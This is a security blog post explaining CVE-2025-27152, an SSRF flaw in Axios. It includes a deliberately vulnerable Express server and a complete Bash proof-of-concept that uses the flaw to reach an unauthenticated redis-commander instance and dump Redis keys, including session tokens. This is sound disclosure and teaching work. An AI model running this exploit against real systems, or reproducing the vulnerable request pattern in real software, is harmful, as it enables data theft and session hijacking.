Exploiting CVE-2025-27152: SSRF in Axios

12-MAR-25

Credit

CVE-2025-27152 builds on CVE-2024-39338, originally discovered by @jeffhacks, you can read his detailed write up here. The issue evolved through discussions in axios/axios#6463, highlighting the ongoing SSRF risks in Axios.

Overview

Server-side request forgery (SSRF) enables attackers to manipulate a server into making unintended HTTP requests to internal resources. This post explores CVE-2025-27152, an SSRF vulnerability in Axios, a widely-used HTTP client for Node.js and browsers. In Axios v1.8.1, absolute URLs (e.g., http://attacker.com) bypass the configured baseURL, allowing requests to unintended destinations. I'll demonstrate this with a minimally-contrived proof-of-concept using common Node.js development tools — Express, Redis, and redis-commander — to reflect a practical development scenario.

Clone it from GitHub to follow along.

Vulnerable server setup

Here's a minimal Node.js server using Express and axios@1.8.0 (vulnerable to CVE-2025-27152):

import express, { Request, Response } from "express";
import axios from "axios";

const app = express();
const PORT = 3000;

app.use(express.urlencoded({ extended: true }));

const client = axios.create({
  baseURL: "https://api.example.com", // ignored
  timeout: 5000,
});

// Vulnerable endpoint for SSRF
app.get("/fetch-url", async (req: Request, res: Response): Promise<void> => {
  const { url } = req.query;
  if (!url) {
    res.status(400).send("Missing URL");
    return;
  }
  try {
    const response = await client.get(url as string);
    res.send(response.data);
  } catch (error) {
    res.status(500).send(`Error fetching URL: ${(error as Error).message}`);
  }
});

app.listen(PORT, () => {
  console.log(`Server listening on port ${PORT}`);
});

This setup reflects a common development environment: an Express app with a /fetch-url endpoint, a local Redis instance (port 6379) seeded with fake session data via @faker-js/faker, and redis-commander (port 8081) for web-based Redis management, running without authentication — a frequent default in development setups.

Exploit

This Bash script exploits the SSRF flaw to extract Redis data via redis-commander. It requires curl, jq, and sed, and can be run with ./exploit.sh or ./exploit.sh ./output.txt.

#!/bin/sh

TARGET="http://localhost:3000/fetch-url"
OUTPUT_FILE="${1:-/dev/stdout}"
PORTS="8080 8081 8082"
FOUND_PORT=""

echo "Starting exploit... Output will be written to $OUTPUT_FILE"

# Guess the port
for port in $PORTS; do
  echo "Testing port $port..." >> "$OUTPUT_FILE"
  TEST_URL="http://localhost:$port/apiv2/keystree/R%3Alocalhost%3A6379%3A0/"
  RESPONSE=$(curl -s "$TARGET?url=$TEST_URL")
  if echo "$RESPONSE" | grep -q "data"; then
    FOUND_PORT="$port"
    echo "Found redis-commander on port $FOUND_PORT" >> "$OUTPUT_FILE"
    break
  fi
done

if [ -z "$FOUND_PORT" ]; then
  echo "Error: Could not find redis-commander on ports $PORTS" >> "$OUTPUT_FILE"
  exit 1
fi

CONNECTION="R%3Alocalhost%3A6379%3A0"

# Fetch top-level key prefixes
echo "Fetching top-level keys..." >> "$OUTPUT_FILE"
TOP_LEVEL_URL="http://localhost:$FOUND_PORT/apiv2/keystree/$CONNECTION/"
TOP_LEVEL_RESPONSE=$(curl -s "$TARGET?url=$TOP_LEVEL_URL")

echo "Sent: $TARGET?url=$TOP_LEVEL_URL" >> "$OUTPUT_FILE"
echo "Response: $TOP_LEVEL_RESPONSE" >> "$OUTPUT_FILE"

# Extract key prefixes
PREFIXES=$(echo "$TOP_LEVEL_RESPONSE" | jq -r '.data[].keyName')

# For each prefix, fetch children
for prefix in $PREFIXES; do
  echo "Fetching children for prefix: $prefix" >> "$OUTPUT_FILE"
  ENCODED_PREFIX=$(echo "$prefix" | sed 's/:/%3A/g')
  CHILDREN_URL="http://localhost:$FOUND_PORT/apiv2/keystree/$CONNECTION/$ENCODED_PREFIX?absolute=false"
  CHILDREN_RESPONSE=$(curl -s "$TARGET?url=$CHILDREN_URL")

  echo "Sent: $TARGET?url=$CHILDREN_URL" >> "$OUTPUT_FILE"
  echo "Response: $CHILDREN_RESPONSE" >> "$OUTPUT_FILE"

  # Extract child keys
  FULL_KEYS=$(echo "$CHILDREN_RESPONSE" | jq -r '.data[].id' | sed "s/^R:localhost:6379:0://")

  # Fetch value for each full key
  for key in $FULL_KEYS; do
    echo "Fetching value for key: $key" >> "$OUTPUT_FILE"
    ENCODED_KEY=$(echo "$key" | sed 's/:/%3A/g')
    VALUE_URL="http://localhost:$FOUND_PORT/apiv2/key/$CONNECTION/$ENCODED_KEY"
    VALUE_RESPONSE=$(curl -s "$TARGET?url=$VALUE_URL")

    echo "Sent: $TARGET?url=$VALUE_URL" >> "$OUTPUT_FILE"
    echo "Response: $VALUE_RESPONSE" >> "$OUTPUT_FILE"
  done
done

echo "Exploit complete." >> "$OUTPUT_FILE"

The SSRF vulnerability in Axios v1.8.1 allows an attacker to send HTTP requests to internal services, such as redis-commander. Here's how the exploit works:

Step 1: Port guessing

The script probes common ports to locate redis-commander. In practice, attackers would perform reconnaissance to refine this — a simplification for this proof-of-concept.

PORTS="8080 8081 8082"
for port in $PORTS; do
  TEST_URL="http://localhost:$port/apiv2/keystree/R%3Alocalhost%3A6379%3A0/"
  RESPONSE=$(curl -s "$TARGET?url=$TEST_URL")
  if echo "$RESPONSE" | grep -q "data"; then
    FOUND_PORT="$port"
    break
  fi
done

Step 2: Crawling Redis data

It then crawls the redis-commander API to dump keys and values, leveraging the SSRF to bypass network restrictions.

  • List keys: fetches top-level prefixes (e.g., sess:, config:) from /apiv2/keystree/R%3Alocalhost%3A6379%3A0/.
  • Fetch children: retrieves sub-keys (e.g., admin under sess:) from /apiv2/keystree/R%3Alocalhost%3A6379%3A0/sess%3A?absolute=false.
  • Get values: extracts values (e.g., session data) from /apiv2/key/R%3Alocalhost%3A6379%3A0/sess%3Aadmin.

The script outputs to a file (or console) specified by a CLI argument:

OUTPUT_FILE="${1:-/dev/stdout}"
echo "Response: $VALUE_RESPONSE" >> "$OUTPUT_FILE"

Sample output

Starting exploit... Output will be written to ./output.txt
Testing port 8080...
Testing port 8081...
Found redis-commander on port 8081
Fetching top-level keys...
Sent: http://localhost:3000/fetch-url?url=http://localhost:8081/apiv2/keystree/R%3Alocalhost%3A6379%3A0/
Response: {"data":[{"id":"R:localhost:6379:0:config:","text":"config:* (3)",...}]}
Fetching children for prefix: sess:
Sent: http://localhost:3000/fetch-url?url=http://localhost:8081/apiv2/keystree/R%3Alocalhost%3A6379%3A0/sess%3A?absolute=false
Response: {"data":[{"id":"R:localhost:6379:0:sess:admin","text":"admin",...}]}
Fetching value for key: sess:admin
Sent: http://localhost:3000/fetch-url?url=http://localhost:8081/apiv2/key/R%3Alocalhost%3A6379%3A0/sess%3Aadmin
Response: {"ttl":-1,"key":"sess:admin","type":"string","value":"{\"userId\":\"user:admin\",\"token\":\"jwt_abc123xyz789def456ghi789jkl012\",...}"}
...
Exploit complete.

This exposes all key/value pairs including session data, enabling potential session hijacking.

Other possibilities

This proof-of-concept focuses on data exfiltration, but SSRF could also target other internal services (e.g., metadata endpoints in cloud environments), depending on the target's configuration.

Conclusion

CVE-2025-27152 highlights Axios's SSRF risks in a realistic dev setup. Explore the proof-of-concept on GitHub and feel free to adapt it for your own research. Always validate external inputs to mitigate such flaws.